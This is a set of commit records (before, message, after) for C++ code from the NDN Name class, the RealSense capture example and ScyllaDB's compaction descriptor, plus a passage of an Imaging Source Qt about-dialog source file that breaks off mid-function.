{"text":"<commit_before>\/**\n * @author: Jeff Thompson\n * See COPYING for copyright and distribution information.\n *\/\n\n#ifndef NDN_NAME_HPP\n#define NDN_NAME_HPP\n\n#include <vector>\n#include <string>\n#include \"c\/name.h\"\n#include \"encoding\/binary-xml-wire-format.hpp\"\n\nnamespace ndn {\n    \nclass Name {\npublic:\n  class Component {\n  public:\n    \/**\n     * Create a new Name::Component with an empty value.\n     *\/\n    Component() \n    {    \n    }\n  \n    \/**\n     * Create a new Name::Component, copying the given value.\n     * @param value The value byte array.\n     *\/\n    Component(const std::vector<unsigned char> &value) \n    : value_(value)\n    {\n    }\n\n    \/**\n     * Create a new Name::Component, copying the given value.\n     * @param value Pointer to the value byte array.\n     * @param valueLen Length of value.\n     *\/\n    Component(unsigned char *value, unsigned int valueLen) \n    : value_(value, value + valueLen)\n    {\n    }\n  \n    \/**\n     * Set the componentStruct to point to this component, without copying any memory.\n     * WARNING: The resulting pointer in componentStruct is invalid after a further use of this object which could reallocate memory.\n     * @param componentStruct The C ndn_NameComponent struct to receive the pointer.\n     *\/\n    void get(struct ndn_NameComponent &componentStruct) const \n    {\n      componentStruct.valueLength = value_.size(); \n      if (value_.size() > 0)\n        componentStruct.value = (unsigned char *)&value_[0];\n    }\n  \n    \/**\n     * Set this component value by decoding the escapedString between first and last according to the NDN URI Scheme.\n     * If the escaped string is \"\", \".\" or \"..\" then return false, which means this component value was not changed, and\n     * the component should be skipped in a URI name.\n     * @param first Pointer to the beginning of the escaped string\n     * @param last Pointer to the first character past the end of the escaped string\n     * @return True for success, false if escapedString is not a valid escaped component.\n     *\/\n    bool setFromEscapedString(const char *first, const char *last);\n  \n    const std::vector<unsigned char> &getValue() const { return value_; }\n    \n    \/**\n     * Set this component to the encoded segment number.\n     * @param segment The segment number.\n     *\/\n    void setSegment(unsigned long segment);\n  \n  private:\n    std::vector<unsigned char> value_;\n  }; \n  \n  \/**\n   * Create a new Name with no components.\n   *\/\n  Name() {\n  }\n  \n  \/**\n   * Create a new Name, copying the name components.\n   * @param components A vector of Component\n   *\/\n  Name(const std::vector<Component> &components)\n  : components_(components)\n  {\n  }\n  \n  \/**\n   * Parse the uri according to the NDN URI Scheme and create the name with the components.\n   * @param uri The URI string.\n   *\/\n  Name(const char *uri)\n  {\n    set(uri);\n  }\n  \n  \/**\n   * Set the nameStruct to point to the components in this name, without copying any memory.\n   * WARNING: The resulting pointers in nameStruct are invalid after a further use of this object which could reallocate memory.\n   * @param nameStruct A C ndn_Name struct where the components array is already allocated.\n   *\/\n  void get(struct ndn_Name &nameStruct) const;\n  \n  \/**\n   * Clear this name, and set the components by copying from the name struct.\n   * @param nameStruct A C ndn_Name struct\n   *\/\n  void set(const struct ndn_Name &nameStruct);\n  \n  \/**\n   * Parse the uri according to the NDN URI Scheme and set the name with the components.\n   * @param uri The URI string.\n   *\/\n  void set(const char *uri);  \n\n  \/**\n   * Add a new component, copying from value of length valueLength.\n   *\/\n  void addComponent(unsigned char *value, unsigned int valueLength) {\n    components_.push_back(Component(value, valueLength));\n  }\n  \n  \/**\n   * Clear all the components.\n   *\/\n  void clear() {\n    components_.clear();\n  }\n  \n  \/**\n   * Get the number of components.\n   * @return The number of components.\n   *\/\n  unsigned int getComponentCount() const {\n    return components_.size();\n  }\n  \n  const Component &getComponent(unsigned int i) const { return components_[i]; }\n  \n  \/**\n   * Encode this name as a URI.\n   * @return The encoded URI.\n   *\/\n  std::string toUri() const;\n  \n  \/**\n   * @deprecated Use toUri().\n   *\/\n  std::string to_uri() const \n  {\n    return toUri();\n  }\n  \n  \/**\n   * Append a component with the encoded segment number.\n   * @param segment The segment number.\n   *\/\n  void appendSegment(unsigned long segment)\n  {\n    components_.push_back(Component());\n    components_.back().setSegment(segment);\n  }\n\nprivate:\n  std::vector<Component> components_;\n};  \n\n}\n\n#endif\n\n<commit_msg>Added addComponent(vector<unsigned char>)<commit_after>\/**\n * @author: Jeff Thompson\n * See COPYING for copyright and distribution information.\n *\/\n\n#ifndef NDN_NAME_HPP\n#define NDN_NAME_HPP\n\n#include <vector>\n#include <string>\n#include \"c\/name.h\"\n#include \"encoding\/binary-xml-wire-format.hpp\"\n\nnamespace ndn {\n    \nclass Name {\npublic:\n  class Component {\n  public:\n    \/**\n     * Create a new Name::Component with an empty value.\n     *\/\n    Component() \n    {    \n    }\n  \n    \/**\n     * Create a new Name::Component, copying the given value.\n     * @param value The value byte array.\n     *\/\n    Component(const std::vector<unsigned char> &value) \n    : value_(value)\n    {\n    }\n\n    \/**\n     * Create a new Name::Component, copying the given value.\n     * @param value Pointer to the value byte array.\n     * @param valueLen Length of value.\n     *\/\n    Component(unsigned char *value, unsigned int valueLen) \n    : value_(value, value + valueLen)\n    {\n    }\n  \n    \/**\n     * Set the componentStruct to point to this component, without copying any memory.\n     * WARNING: The resulting pointer in componentStruct is invalid after a further use of this object which could reallocate memory.\n     * @param componentStruct The C ndn_NameComponent struct to receive the pointer.\n     *\/\n    void get(struct ndn_NameComponent &componentStruct) const \n    {\n      componentStruct.valueLength = value_.size(); \n      if (value_.size() > 0)\n        componentStruct.value = (unsigned char *)&value_[0];\n    }\n  \n    \/**\n     * Set this component value by decoding the escapedString between first and last according to the NDN URI Scheme.\n     * If the escaped string is \"\", \".\" or \"..\" then return false, which means this component value was not changed, and\n     * the component should be skipped in a URI name.\n     * @param first Pointer to the beginning of the escaped string\n     * @param last Pointer to the first character past the end of the escaped string\n     * @return True for success, false if escapedString is not a valid escaped component.\n     *\/\n    bool setFromEscapedString(const char *first, const char *last);\n  \n    const std::vector<unsigned char> &getValue() const { return value_; }\n    \n    \/**\n     * Set this component to the encoded segment number.\n     * @param segment The segment number.\n     *\/\n    void setSegment(unsigned long segment);\n  \n  private:\n    std::vector<unsigned char> value_;\n  }; \n  \n  \/**\n   * Create a new Name with no components.\n   *\/\n  Name() {\n  }\n  \n  \/**\n   * Create a new Name, copying the name components.\n   * @param components A vector of Component\n   *\/\n  Name(const std::vector<Component> &components)\n  : components_(components)\n  {\n  }\n  \n  \/**\n   * Parse the uri according to the NDN URI Scheme and create the name with the components.\n   * @param uri The URI string.\n   *\/\n  Name(const char *uri)\n  {\n    set(uri);\n  }\n  \n  \/**\n   * Set the nameStruct to point to the components in this name, without copying any memory.\n   * WARNING: The resulting pointers in nameStruct are invalid after a further use of this object which could reallocate memory.\n   * @param nameStruct A C ndn_Name struct where the components array is already allocated.\n   *\/\n  void get(struct ndn_Name &nameStruct) const;\n  \n  \/**\n   * Clear this name, and set the components by copying from the name struct.\n   * @param nameStruct A C ndn_Name struct\n   *\/\n  void set(const struct ndn_Name &nameStruct);\n  \n  \/**\n   * Parse the uri according to the NDN URI Scheme and set the name with the components.\n   * @param uri The URI string.\n   *\/\n  void set(const char *uri);  \n\n  \/**\n   * Add a new component, copying from value of length valueLength.\n   *\/\n  void addComponent(unsigned char *value, unsigned int valueLength) {\n    components_.push_back(Component(value, valueLength));\n  }\n\n  \/**\n   * Add a new component, copying from value.\n   *\/\n  void addComponent(const std::vector<unsigned char> &value) {\n    components_.push_back(value);\n  }\n  \n  \/**\n   * Clear all the components.\n   *\/\n  void clear() {\n    components_.clear();\n  }\n  \n  \/**\n   * Get the number of components.\n   * @return The number of components.\n   *\/\n  unsigned int getComponentCount() const {\n    return components_.size();\n  }\n  \n  const Component &getComponent(unsigned int i) const { return components_[i]; }\n  \n  \/**\n   * Encode this name as a URI.\n   * @return The encoded URI.\n   *\/\n  std::string toUri() const;\n  \n  \/**\n   * @deprecated Use toUri().\n   *\/\n  std::string to_uri() const \n  {\n    return toUri();\n  }\n  \n  \/**\n   * Append a component with the encoded segment number.\n   * @param segment The segment number.\n   *\/\n  void appendSegment(unsigned long segment)\n  {\n    components_.push_back(Component());\n    components_.back().setSegment(segment);\n  }\n\nprivate:\n  std::vector<Component> components_;\n};  \n\n}\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ License: Apache 2.0. See LICENSE file in root directory.\n\/\/ Copyright(c) 2017 Intel Corporation. All Rights Reserved.\n\n#include <librealsense2\/rs.hpp> \/\/ Include RealSense Cross Platform API\n#include \"example.hpp\"          \/\/ Include short list of convenience functions for rendering\n\n\/\/ Capture Example demonstrates how to\n\/\/ capture depth and color video streams and render them to the screen\nint main(int argc, char * argv[]) try\n{\n    rs2::log_to_console(RS2_LOG_SEVERITY_ERROR);\n    \/\/ Create a simple OpenGL window for rendering:\n    window app(1280, 720, \"RealSense Capture Example\");\n\n    \/\/ Declare depth colorizer for pretty visualization of depth data\n    rs2::colorizer color_map;\n\tcolor_map.set_option(RS2_OPTION_HISTOGRAM_EQUALIZATION_ENABLED, 0);\n\tcolor_map.set_option(RS2_OPTION_MAX_DISTANCE, 2.0f);\n\tcolor_map.set_option(RS2_OPTION_MIN_DISTANCE, 0.3f);\n\tcolor_map.set_option(RS2_OPTION_COLOR_SCHEME, 1.0f);\n\n\trs2::disparity_transform depth_to_disparity(true);\n\t\n    \/\/ Declare rates printer for showing streaming rates of the enabled streams.\n    rs2::rates_printer printer;\n\n    \/\/ Declare RealSense pipeline, encapsulating the actual device and sensors\n    rs2::pipeline pipe;\n\n    \/\/ Start streaming with default recommended configuration\n    \/\/ The default video configuration contains Depth and Color streams\n    \/\/ If a device is capable to stream IMU data, both Gyro and Accelerometer are enabled by default\n    pipe.start();\n\n    while (app) \/\/ Application still alive?\n    {\n        rs2::frameset data = pipe.wait_for_frames().    \/\/ Wait for next set of frames from the camera\n                             apply_filter(printer).     \/\/ Print each enabled stream frame rate\n\t\t\t\t\t\t\t apply_filter(depth_to_disparity).\n\t\t\t\t\t\t\tapply_filter(color_map);   \/\/ Find and colorize the depth data\n\n        \/\/ The show method, when applied on frameset, break it to frames and upload each frame into a gl textures\n        \/\/ Each texture is displayed on different viewport according to it's stream unique id\n        app.show(data);\n    }\n\n    return EXIT_SUCCESS;\n}\ncatch (const rs2::error & e)\n{\n    std::cerr << \"RealSense error calling \" << e.get_failed_function() << \"(\" << e.get_failed_args() << \"):\\n    \" << e.what() << std::endl;\n    return EXIT_FAILURE;\n}\ncatch (const std::exception& e)\n{\n    std::cerr << e.what() << std::endl;\n    return EXIT_FAILURE;\n}<commit_msg>-Rollback official rs-capture example to original.<commit_after>\/\/ License: Apache 2.0. See LICENSE file in root directory.\n\/\/ Copyright(c) 2017 Intel Corporation. All Rights Reserved.\n\n#include <librealsense2\/rs.hpp> \/\/ Include RealSense Cross Platform API\n#include \"example.hpp\"          \/\/ Include short list of convenience functions for rendering\n\n\/\/ Capture Example demonstrates how to\n\/\/ capture depth and color video streams and render them to the screen\nint main(int argc, char * argv[]) try\n{\n    rs2::log_to_console(RS2_LOG_SEVERITY_ERROR);\n    \/\/ Create a simple OpenGL window for rendering:\n    window app(1280, 720, \"RealSense Capture Example\");\n\n    \/\/ Declare depth colorizer for pretty visualization of depth data\n    rs2::colorizer color_map;\n    \/\/ Declare rates printer for showing streaming rates of the enabled streams.\n    rs2::rates_printer printer;\n\n    \/\/ Declare RealSense pipeline, encapsulating the actual device and sensors\n    rs2::pipeline pipe;\n\n    \/\/ Start streaming with default recommended configuration\n    \/\/ The default video configuration contains Depth and Color streams\n    \/\/ If a device is capable to stream IMU data, both Gyro and Accelerometer are enabled by default\n    pipe.start();\n\n    while (app) \/\/ Application still alive?\n    {\n        rs2::frameset data = pipe.wait_for_frames().    \/\/ Wait for next set of frames from the camera\n                             apply_filter(printer).     \/\/ Print each enabled stream frame rate\n                             apply_filter(color_map);   \/\/ Find and colorize the depth data\n\n        \/\/ The show method, when applied on frameset, break it to frames and upload each frame into a gl textures\n        \/\/ Each texture is displayed on different viewport according to it's stream unique id\n        app.show(data);\n    }\n\n    return EXIT_SUCCESS;\n}\ncatch (const rs2::error & e)\n{\n    std::cerr << \"RealSense error calling \" << e.get_failed_function() << \"(\" << e.get_failed_args() << \"):\\n    \" << e.what() << std::endl;\n    return EXIT_FAILURE;\n}\ncatch (const std::exception& e)\n{\n    std::cerr << e.what() << std::endl;\n    return EXIT_FAILURE;\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2020-present ScyllaDB\n *\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <functional>\n#include <optional>\n#include <variant>\n#include <seastar\/core\/smp.hh>\n#include <seastar\/core\/file.hh>\n#include \"sstables\/shared_sstable.hh\"\n#include \"sstables\/sstable_set.hh\"\n#include \"utils\/UUID.hh\"\n#include \"dht\/i_partitioner.hh\"\n#include \"compaction_weight_registration.hh\"\n\nnamespace sstables {\n\nenum class compaction_type {\n    Compaction = 0,\n    Cleanup = 1,\n    Validation = 2,\n    Scrub = 3,\n    Index_build = 4,\n    Reshard = 5,\n    Upgrade = 6,\n    Reshape = 7,\n};\n\nstd::ostream& operator<<(std::ostream& os, compaction_type type);\n\nstruct compaction_completion_desc {\n    \/\/ Old, existing SSTables that should be deleted and removed from the SSTable set.\n    std::vector<shared_sstable> old_sstables;\n    \/\/ New, fresh SSTables that should be added to SSTable set, replacing the old ones.\n    std::vector<shared_sstable> new_sstables;\n    \/\/ Set of compacted partition ranges that should be invalidated in the cache.\n    dht::partition_range_vector ranges_for_cache_invalidation;\n};\n\n\/\/ creates a new SSTable for a given shard\nusing compaction_sstable_creator_fn = std::function<shared_sstable(shard_id shard)>;\n\/\/ Replaces old sstable(s) by new one(s) which contain all non-expired data.\nusing compaction_sstable_replacer_fn = std::function<void(compaction_completion_desc)>;\n\nclass compaction_options {\npublic:\n    struct regular {\n    };\n    struct cleanup {\n        std::reference_wrapper<database> db;\n    };\n    struct upgrade {\n        std::reference_wrapper<database> db;\n    };\n    struct scrub {\n        enum class mode {\n            abort, \/\/ abort scrub on the first sign of corruption\n            skip, \/\/ skip corrupt data, including range of rows and\/or partitions that are out-of-order\n            segregate, \/\/ segregate out-of-order data into streams that all contain data with correct order\n            validate, \/\/ validate data, printing all errors found (sstables are only read, not rewritten)\n        };\n        mode operation_mode = mode::abort;\n    };\n    struct reshard {\n    };\n    struct reshape {\n    };\nprivate:\n    using options_variant = std::variant<regular, cleanup, upgrade, scrub, reshard, reshape>;\n\nprivate:\n    options_variant _options;\n\nprivate:\n    explicit compaction_options(options_variant options) : _options(std::move(options)) {\n    }\n\npublic:\n    static compaction_options make_reshape() {\n        return compaction_options(reshape{});\n    }\n\n    static compaction_options make_reshard() {\n        return compaction_options(reshard{});\n    }\n\n    static compaction_options make_regular() {\n        return compaction_options(regular{});\n    }\n\n    static compaction_options make_cleanup(database& db) {\n        return compaction_options(cleanup{db});\n    }\n\n    static compaction_options make_upgrade(database& db) {\n        return compaction_options(upgrade{db});\n    }\n\n    static compaction_options make_scrub(scrub::mode mode) {\n        return compaction_options(scrub{mode});\n    }\n\n    template <typename... Visitor>\n    auto visit(Visitor&&... visitor) const {\n        return std::visit(std::forward<Visitor>(visitor)..., _options);\n    }\n\n    const options_variant& options() const { return _options; }\n\n    compaction_type type() const;\n};\n\nstd::string_view to_string(compaction_options::scrub::mode);\nstd::ostream& operator<<(std::ostream& os, compaction_options::scrub::mode scrub_mode);\n\nstruct compaction_descriptor {\n    \/\/ List of sstables to be compacted.\n    std::vector<sstables::shared_sstable> sstables;\n    \/\/ This is a snapshot of the table's sstable set, used only for the purpose of expiring tombstones.\n    \/\/ If this sstable set cannot be provided, expiration will be disabled to prevent data from being resurrected.\n    std::optional<sstables::sstable_set> all_sstables_snapshot;\n    \/\/ Level of sstable(s) created by compaction procedure.\n    int level;\n    \/\/ Threshold size for sstable(s) to be created.\n    uint64_t max_sstable_bytes;\n    \/\/ Run identifier of output sstables.\n    utils::UUID run_identifier;\n    \/\/ Calls compaction manager's task for this compaction to release reference to exhausted sstables.\n    std::function<void(const std::vector<shared_sstable>& exhausted_sstables)> release_exhausted;\n    \/\/ The options passed down to the compaction code.\n    \/\/ This also selects the kind of compaction to do.\n    compaction_options options = compaction_options::make_regular();\n\n    compaction_sstable_creator_fn creator;\n    compaction_sstable_replacer_fn replacer;\n\n    ::io_priority_class io_priority = default_priority_class();\n\n    compaction_descriptor() = default;\n\n    static constexpr int default_level = 0;\n    static constexpr uint64_t default_max_sstable_bytes = std::numeric_limits<uint64_t>::max();\n\n    explicit compaction_descriptor(std::vector<sstables::shared_sstable> sstables,\n                                   std::optional<sstables::sstable_set> all_sstables_snapshot,\n                                   ::io_priority_class io_priority,\n                                   int level = default_level,\n                                   uint64_t max_sstable_bytes = default_max_sstable_bytes,\n                                   utils::UUID run_identifier = utils::make_random_uuid(),\n                                   compaction_options options = compaction_options::make_regular())\n        : sstables(std::move(sstables))\n        , all_sstables_snapshot(std::move(all_sstables_snapshot))\n        , level(level)\n        , max_sstable_bytes(max_sstable_bytes)\n        , run_identifier(run_identifier)\n        , options(options)\n        , io_priority(io_priority)\n    {}\n};\n\n}\n<commit_msg>compaction\/compaction_descriptor: add comment to Validation compaction type<commit_after>\/*\n * Copyright (C) 2020-present ScyllaDB\n *\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <functional>\n#include <optional>\n#include <variant>\n#include <seastar\/core\/smp.hh>\n#include <seastar\/core\/file.hh>\n#include \"sstables\/shared_sstable.hh\"\n#include \"sstables\/sstable_set.hh\"\n#include \"utils\/UUID.hh\"\n#include \"dht\/i_partitioner.hh\"\n#include \"compaction_weight_registration.hh\"\n\nnamespace sstables {\n\nenum class compaction_type {\n    Compaction = 0,\n    Cleanup = 1,\n    Validation = 2, \/\/ Origin uses this for a compaction that is used exclusively for repair\n    Scrub = 3,\n    Index_build = 4,\n    Reshard = 5,\n    Upgrade = 6,\n    Reshape = 7,\n};\n\nstd::ostream& operator<<(std::ostream& os, compaction_type type);\n\nstruct compaction_completion_desc {\n    \/\/ Old, existing SSTables that should be deleted and removed from the SSTable set.\n    std::vector<shared_sstable> old_sstables;\n    \/\/ New, fresh SSTables that should be added to SSTable set, replacing the old ones.\n    std::vector<shared_sstable> new_sstables;\n    \/\/ Set of compacted partition ranges that should be invalidated in the cache.\n    dht::partition_range_vector ranges_for_cache_invalidation;\n};\n\n\/\/ creates a new SSTable for a given shard\nusing compaction_sstable_creator_fn = std::function<shared_sstable(shard_id shard)>;\n\/\/ Replaces old sstable(s) by new one(s) which contain all non-expired data.\nusing compaction_sstable_replacer_fn = std::function<void(compaction_completion_desc)>;\n\nclass compaction_options {\npublic:\n    struct regular {\n    };\n    struct cleanup {\n        std::reference_wrapper<database> db;\n    };\n    struct upgrade {\n        std::reference_wrapper<database> db;\n    };\n    struct scrub {\n        enum class mode {\n            abort, \/\/ abort scrub on the first sign of corruption\n            skip, \/\/ skip corrupt data, including range of rows and\/or partitions that are out-of-order\n            segregate, \/\/ segregate out-of-order data into streams that all contain data with correct order\n            validate, \/\/ validate data, printing all errors found (sstables are only read, not rewritten)\n        };\n        mode operation_mode = mode::abort;\n    };\n    struct reshard {\n    };\n    struct reshape {\n    };\nprivate:\n    using options_variant = std::variant<regular, cleanup, upgrade, scrub, reshard, reshape>;\n\nprivate:\n    options_variant _options;\n\nprivate:\n    explicit compaction_options(options_variant options) : _options(std::move(options)) {\n    }\n\npublic:\n    static compaction_options make_reshape() {\n        return compaction_options(reshape{});\n    }\n\n    static compaction_options make_reshard() {\n        return compaction_options(reshard{});\n    }\n\n    static compaction_options make_regular() {\n        return compaction_options(regular{});\n    }\n\n    static compaction_options make_cleanup(database& db) {\n        return compaction_options(cleanup{db});\n    }\n\n    static compaction_options make_upgrade(database& db) {\n        return compaction_options(upgrade{db});\n    }\n\n    static compaction_options make_scrub(scrub::mode mode) {\n        return compaction_options(scrub{mode});\n    }\n\n    template <typename... Visitor>\n    auto visit(Visitor&&... visitor) const {\n        return std::visit(std::forward<Visitor>(visitor)..., _options);\n    }\n\n    const options_variant& options() const { return _options; }\n\n    compaction_type type() const;\n};\n\nstd::string_view to_string(compaction_options::scrub::mode);\nstd::ostream& operator<<(std::ostream& os, compaction_options::scrub::mode scrub_mode);\n\nstruct compaction_descriptor {\n    \/\/ List of sstables to be compacted.\n    std::vector<sstables::shared_sstable> sstables;\n    \/\/ This is a snapshot of the table's sstable set, used only for the purpose of expiring tombstones.\n    \/\/ If this sstable set cannot be provided, expiration will be disabled to prevent data from being resurrected.\n    std::optional<sstables::sstable_set> all_sstables_snapshot;\n    \/\/ Level of sstable(s) created by compaction procedure.\n    int level;\n    \/\/ Threshold size for sstable(s) to be created.\n    uint64_t max_sstable_bytes;\n    \/\/ Run identifier of output sstables.\n    utils::UUID run_identifier;\n    \/\/ Calls compaction manager's task for this compaction to release reference to exhausted sstables.\n    std::function<void(const std::vector<shared_sstable>& exhausted_sstables)> release_exhausted;\n    \/\/ The options passed down to the compaction code.\n    \/\/ This also selects the kind of compaction to do.\n    compaction_options options = compaction_options::make_regular();\n\n    compaction_sstable_creator_fn creator;\n    compaction_sstable_replacer_fn replacer;\n\n    ::io_priority_class io_priority = default_priority_class();\n\n    compaction_descriptor() = default;\n\n    static constexpr int default_level = 0;\n    static constexpr uint64_t default_max_sstable_bytes = std::numeric_limits<uint64_t>::max();\n\n    explicit compaction_descriptor(std::vector<sstables::shared_sstable> sstables,\n                                   std::optional<sstables::sstable_set> all_sstables_snapshot,\n                                   ::io_priority_class io_priority,\n                                   int level = default_level,\n                                   uint64_t max_sstable_bytes = default_max_sstable_bytes,\n                                   utils::UUID run_identifier = utils::make_random_uuid(),\n                                   compaction_options options = compaction_options::make_regular())\n        : sstables(std::move(sstables))\n        , all_sstables_snapshot(std::move(all_sstables_snapshot))\n        , level(level)\n        , max_sstable_bytes(max_sstable_bytes)\n        , run_identifier(run_identifier)\n        , options(options)\n        , io_priority(io_priority)\n    {}\n};\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2021 The Imaging Source Europe GmbH\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"aboutdialog.h\"\n#include \"ui_aboutdialog.h\"\n\n#include <QProcess>\n#include <QLabel>\n#include <QPushButton>\n#include <QFormLayout>\n#include <QApplication>\n#include <QClipboard>\n#include <QFileDialog>\n\n\nnamespace {\n\nstruct meta_entry\n{\n    QString name;\n    QLabel* value;\n};\n\nclass MetaWidget : public QWidget\n{\npublic:\n\n    MetaWidget(QWidget*parent=nullptr)\n        : QWidget(parent)\n    {\n        setLayout(new QFormLayout());\n\n        \/\/ Add default string, so that user always knows what is going on\n        dynamic_cast<QFormLayout*>(layout())->addRow(\"No GstMeta available.\", new QLabel());\n    };\n\n    ~MetaWidget()\n    {}\n\n    void update(GstStructure& struc)\n    {\n        \/\/ GstMeta will always have more than 1 entry\n        \/\/ this is a reliable identifier for us receiving the\n        \/\/ first update and having to remove the default string\n        if (dynamic_cast<QFormLayout*>(layout())->rowCount() == 1)\n        {\n            dynamic_cast<QFormLayout*>(layout())->removeRow(0);\n        }\n\n        auto meta_cb = [] (GQuark field_id,\n                           const GValue* value,\n                           gpointer user_data) -> gboolean\n        {\n\n            auto fill_label = [] (QLabel* label, const GValue* gvalue)\n            {\n                if (G_VALUE_TYPE(gvalue) == G_TYPE_BOOLEAN)\n                {\n                    gboolean val = g_value_get_boolean(gvalue);\n                    if (val)\n                    {\n                        label->setText(\"true\");\n                    }\n                    else\n                    {\n                        label->setText(\"false\");\n                    }\n                }\n                else if (G_VALUE_TYPE(gvalue) == G_TYPE_DOUBLE)\n                {\n                    double val = g_value_get_double(gvalue);\n                    label->setText(QString::number(val));\n\n                }\n                else if (G_VALUE_TYPE(gvalue) == G_TYPE_UINT64)\n                {\n                    guint64 val = g_value_get_uint64(gvalue);\n                    label->setText(QString::number(val));\n                }\n                else\n                {\n                    qWarning(\"value type not implemented for TcamMeta\\n\");\n                }\n            };\n\n            MetaWidget* self  = (MetaWidget*)user_data;\n\n            QString name = g_quark_to_string(field_id);\n\n            auto iter = std::find_if(self->m_entries.begin(), self->m_entries.end(),\n                                     [&name] (const meta_entry& entry)\n                                     {\n                                         if (entry.name == name)\n                                         {\n                                             return true;\n                                         }\n                                         return false;\n                                     });\n\n            if (iter == self->m_entries.end())\n            {\n                meta_entry e = {name, new QLabel()};\n                e.value->setTextInteractionFlags(Qt::TextSelectableByMouse | Qt::TextSelectableByKeyboard);\n                self->m_entries.push_back(e);\n\n                dynamic_cast<QFormLayout*>(self->layout())->addRow(name, e.value);\n                fill_label(e.value, value);\n            }\n            else\n            {\n                fill_label(iter->value, value);\n            }\n\n            return TRUE;\n        };\n\n        gst_structure_foreach(&struc, meta_cb, this);\n\n    }\n\nprivate:\n\n    std::vector<meta_entry> m_entries;\n};\n\n} \/\/ namespace\n\nAboutDialog::AboutDialog(const QString& pipeline_str, QWidget *parent) :\n    QDialog(parent),\n    ui(new Ui::AboutDialog),\n    m_pipeline_str(pipeline_str)\n{\n    ui->setupUi(this);\n\n    ui->tab_versions->layout()->setAlignment(Qt::AlignTop);\n\n    fill_stream();\n    fill_versions();\n    fill_state();\n}\n\nAboutDialog::~AboutDialog()\n{\n    delete ui;\n}\n\n\nvoid AboutDialog::fill_stream()\n{\n    auto layout = dynamic_cast<QFormLayout*>(ui->tab_stream->layout());\n\n    auto tmp = m_pipeline_str;\n\n    tmp.replace(\"!\", \"<br>!\");\n\n    auto pipe_label = new QLabel(tmp);\n    pipe_label->setTextInteractionFlags(Qt::TextSelectableByMouse | Qt::TextSelectableByKeyboard);\n\n    layout->addRow(\"Pipeline: \", pipe_label);\n\n    if (!p_label_device_caps)\n    {\n        p_label_device_caps = new QLabel();\n        p_label_device_caps->setTextInteractionFlags(Qt::TextSelectableByMouse | Qt::TextSelectableByKeyboard);\n    }\n\n    layout->addRow(\"Device caps: \", p_label_device_caps);\n\n    p_meta = new MetaWidget();\n\n    layout->addRow(\"GstMeta:\", p_meta);\n\n}\n\n\nvoid AboutDialog::fill_versions()\n{\n    QProcess process_tis_version;\n    process_tis_version.start(\"tcam-ctrl\", {\"--version\"});\n    process_tis_version.waitForFinished(-1); \/\/ will wait forever until finished\n\n    QString stdout_tis = process_tis_version.readAllStandardOutput();\n    QString stderr = process_tis_version.readAllStandardError();\n\n    QProcess process_tis_packages;\n    process_tis_packages.start(\"tcam-ctrl\", {\"--packages\"});\n    process_tis_packages.waitForFinished(-1); \/\/ will wait forever until finished\n\n    QString stdout_packages = process_tis_packages.readAllStandardOutput();\n\n    \/\/ we work with a rich text label\n    \/\/ this means a 'normal' string\n    \/\/ does not suffice. Instead use html tags.\n    stdout_tis.replace(\"\\n\", \"<br>\");\n    stdout_packages.replace(\"\\n\", \"<br>\");\n    stdout_packages.replace(\"\\t\", \"&nbsp;\");\n\n    QString s = \"<h3>Tiscamera:<\/h3>\"\n        + stdout_tis\n        + \"<h3>Packages:<\/h3>\"\n        + stdout_packages;\n\n    ui->label_versions->setTextInteractionFlags(Qt::TextSelectableByMouse | Qt::TextSelectableByKeyboard);\n    ui->label_versions->setText(s);\n}\n\n\nvoid AboutDialog::fill_state()\n{\n    auto apply_button = ui->buttonBox_2->button(QDialogButtonBox::Apply);\n    auto reset_button = ui->buttonBox_2->button(QDialogButtonBox::Reset);\n    auto save_button = ui->buttonBox_2->button(QDialogButtonBox::Save);\n    auto open_button = ui->buttonBox_2->button(QDialogButtonBox::Open);\n\n    connect(apply_button, &QPushButton::clicked, this, &AboutDialog::write_state);\n    connect(reset_button, &QPushButton::clicked, this, &AboutDialog::update_state);\n    connect(save_button, &QPushButton::clicked, this, &AboutDialog::save_state);\n    connect(open_button, &QPushButton::clicked, this, &AboutDialog::open_state);\n}\n\n\nvoid AboutDialog::set_device_caps(const QString& dev_caps)\n{\n    p_label_device_caps->setText(dev_caps);\n}\n\n\nvoid AboutDialog::set_tcambin(GstElement* bin)\n{\n    p_tcambin = bin;\n\n    update_state();\n}\n\n\nvoid AboutDialog::update_meta(GstStructure* meta)\n{\n    MetaWidget* m = (MetaWidget*)p_meta;\n\n    m->update(*meta);\n\n    \/\/ has to free here\n    gst_structure_free(meta);\n}\n\n\nvoid AboutDialog::update_state()\n{\n    if (!p_tcambin)\n    {\n        ui->state_field->setPlainText(\"\");\n        ui->state_field->setEnabled(false);\n        return;\n    }\n\n    GValue state = G_VALUE_INIT;\n    g_value_init(&state, G_TYPE_STRING);\n    g_object_get_property(G_OBJECT(p_tcambin), \"tcam-properties-json\", &state);\n\n    